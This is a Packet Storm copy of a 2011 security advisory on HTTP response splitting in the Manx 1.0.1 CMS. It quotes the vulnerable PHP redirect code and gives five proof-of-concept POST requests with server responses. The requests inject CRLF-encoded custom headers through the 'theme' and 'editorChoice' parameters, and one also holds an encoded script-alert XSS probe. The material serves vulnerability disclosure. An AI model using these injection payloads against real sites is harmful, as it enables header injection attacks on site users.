exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Manx 1.0.1 HTTP Response Splitting

Manx 1.0.1 HTTP Response Splitting
Posted Nov 28, 2011
Authored by LiquidWorm | Site zeroscience.mk

Manx version 1.0.1 suffers from multiple HTTP response splitting vulnerabilities.

tags | exploit, web, vulnerability
SHA-256 | a6a7de112093cbfbe0e4ff7567742a81f074bf0d6f304a028437b6e42ce409f7

Manx 1.0.1 HTTP Response Splitting

Change Mirror Download
==============+==============+==============+==============


Manx cms.xml 1.0.1 Multiple HTTP Response Splitting Vulnerabilities


Vendor: Paul Jova
Product web page: http://manx.jovascript.com
Affected version: 1.0.1

Summary: Manx is a Content Management System that uses xml text
files to store the page contents, instead of a mysql database.

Desc: Input passed to the POST parameter 'editorChoice' in
'admin_blocks.php' and 'admin_pages.php' and the POST parameter
'theme' in 'admin_css.php', 'admin_js.php' and 'admin_templates.php'
is not properly sanitised before being returned to the user.
This can be exploited to insert arbitrary HTTP headers, which
are included in a response sent to the user.


------------------------------------------------------------------

header("Location: " . basename($_SERVER['PHP_SELF']) . "?theme=" . $_POST['theme']);
header("Location: " . basename($_SERVER['PHP_SELF']) . "?fileName=" . $fileName . "&editorChoice=" . $_POST['editorChoice']);

------------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
MySQL 5.5.16
PHP 5.3.8


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2011-5059
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5059.php



27.11.2011

==============+==============+==============+==============


#1
---

POST /admin/admin_blocks.php HTTP/1.1
Content-Length: 336
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

contentArea=&datePosted=2011-08-23%2020%3a40%3a15&editorChoice=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection&fileName=&id=NEW_Block.xml&saveAs=&submit_delete_file=Delete%20File&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&title=New%20Block

HTTP/1.1 302 Found
Date: Sun, 27 Nov 2011 15:20:01 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: admin_blocks.php?editorChoice=
ZSL-Custom-Header: love_injection&fileName=NEW_Block.xml
Content-Length: 0
Keep-Alive: timeout=5, max=11
Connection: Keep-Alive
Content-Type: text/html



#2
---

POST /admin/admin_css.php HTTP/1.1
Content-Length: 338
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

colorSelected=&contentArea=&delete_file=Delete%20File&fileName=&id=&saveAs=&selectColor=AliceBlue&submit_get_file=Select&submit_get_theme=Select&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&theme=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection

HTTP/1.1 302 Found
Date: Sun, 27 Nov 2011 15:19:25 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: admin_css.php?theme=
ZSL-Custom-Header: love_injection
Content-Length: 0
Keep-Alive: timeout=5, max=57
Connection: Keep-Alive
Content-Type: text/html



#3
---

POST /manx_1_0_1/manx/admin/admin_js.php HTTP/1.1
Content-Length: 301
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

contentArea=&delete_file=Delete%20File&fileName=&id=&saveAs=&submit_get_file=Select&submit_get_theme=Select&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&theme=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection

HTTP/1.1 302 Found
Date: Sun, 27 Nov 2011 15:20:14 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: admin_js.php?theme=
ZSL-Custom-Header: love_injection
Content-Length: 0
Keep-Alive: timeout=5, max=1
Connection: Keep-Alive
Content-Type: text/html



#4
---

POST /admin/admin_pages.php HTTP/1.1
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

block1=&block2=&block3=&block4=&contentArea=%26lt%3bp%26gt%3b%26quot%3b%26amp%3bgt%3b%26amp%3blt%3bscript%26amp%3bgt%3balert%281%29%26amp%3blt%3b%2fscript%26amp%3bgt%3b%26lt%3b%2fp%26gt%3b&datePosted=2011-11-27%2015%3a53%3a21&editorChoice=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection&fileName=&footer=&header=&id=NEW_Page.php&meta_description=%22%3e&meta_keywords=&saveAs=&submit_delete_file=Delete%20File&submit_new_file=New&submit_publish=Publish&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&submit_unpublish=Un-Publish&template=&theme=&title=New%20Page&view_page_btn=View%20Page

HTTP/1.1 302 Found
Date: Sun, 27 Nov 2011 15:18:43 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: admin_pages.php?editorChoice=
ZSL-Custom-Header: love_injection&fileName=NEW_Page.xml
Content-Length: 0
Keep-Alive: timeout=5, max=70
Connection: Keep-Alive
Content-Type: text/html



#5
---

POST /admin/admin_templates.php HTTP/1.1
Content-Length: 301
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c37nflkukq9qm3klb534n3m5r6
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

contentArea=&delete_file=Delete%20File&fileName=&id=&saveAs=&submit_get_file=Select&submit_get_theme=Select&submit_new_file=New&submit_save=Save&submit_save_as=Save%20As%20%2f%20NEW&submit_undo_delete=Undo%20Delete&submit_undo_save=Undo%20Save&theme=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection

HTTP/1.1 302 Found
Date: Sun, 27 Nov 2011 15:19:13 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: admin_templates.php?theme=
ZSL-Custom-Header: love_injection
Content-Length: 0
Keep-Alive: timeout=5, max=68
Connection: Keep-Alive
Content-Type: text/html
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close